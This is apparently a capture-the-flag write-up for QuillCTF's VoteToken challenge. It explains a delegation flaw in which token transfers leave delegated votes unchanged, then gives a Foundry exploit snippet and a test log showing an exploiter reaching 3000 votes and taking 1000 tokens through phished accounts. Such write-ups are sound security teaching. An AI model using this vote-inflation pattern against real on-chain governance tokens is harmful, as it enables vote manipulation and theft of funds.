- Challenge
- Contract: VoteToken
- Exploit: VoteTokenExploit
The objective of the CTF was to accumulate 3000 votes and to steal 1000 tokens from Alice. Thanks to a prior phishing attack, we got access to Alice, Bob and Carl accounts. Alice had 1000 tokens while the others had no tokens.
The flaw in this system is that when you transfer tokens between accounts, the delegated votes are not updated. Thus, if you manage to have access to an account with some tokens, you can simply delegate all the tokens to the exploiter and send the tokens to another user while keeping the delegated votes. Then you can repeat this process until you accumulated enough votes.
vm.startPrank(alice);
console2.log('Alice delegates its tokens to the exploiter');
target.delegate(exploiter);
console2.log('Alice sends its tokens to Bob');
target.transfer(bob, 1000);
vm.stopPrank();
// The exploiter has now accumulated 1000 votes
// Repeat this process with other users...
The following are the logs generated by executing the exploit using Foundry:
$ make exploit CONTRACT=VoteToken
Running 1 test for test/QuillCTF/VoteTokenExploit.t.sol:VoteTokenExploit
[PASS] testExploit() (gas: 277574)
Logs:
--------------- [STATS] ----------------
🙍♀️ Alice 0 votes 1000 tokens
🙎♂️ Bob 0 votes 0 tokens
🙎 Carl 0 votes 0 tokens
🥷 Exploiter 0 votes 0 tokens
----------------------------------------
Alice delegates its tokens to the exploiter
Alice sends its tokens to Bob
--------------- [STATS] ----------------
🙍♀️ Alice 0 votes 0 tokens
🙎♂️ Bob 0 votes 1000 tokens
🙎 Carl 0 votes 0 tokens
🥷 Exploiter 1000 votes 0 tokens
----------------------------------------
Bob delegates its tokens to the exploiter
Bob sends its tokens to Carl
--------------- [STATS] ----------------
🙍♀️ Alice 0 votes 0 tokens
🙎♂️ Bob 0 votes 0 tokens
🙎 Carl 0 votes 1000 tokens
🥷 Exploiter 2000 votes 0 tokens
----------------------------------------
Carl delegates its tokens to the exploiter
Carl sends its tokens the exploiter
--------------- [STATS] ----------------
🙍♀️ Alice 0 votes 0 tokens
🙎♂️ Bob 0 votes 0 tokens
🙎 Carl 0 votes 0 tokens
🥷 Exploiter 3000 votes 1000 tokens
----------------------------------------
Test result: ok. 1 passed; 0 failed; finished in 1.65ms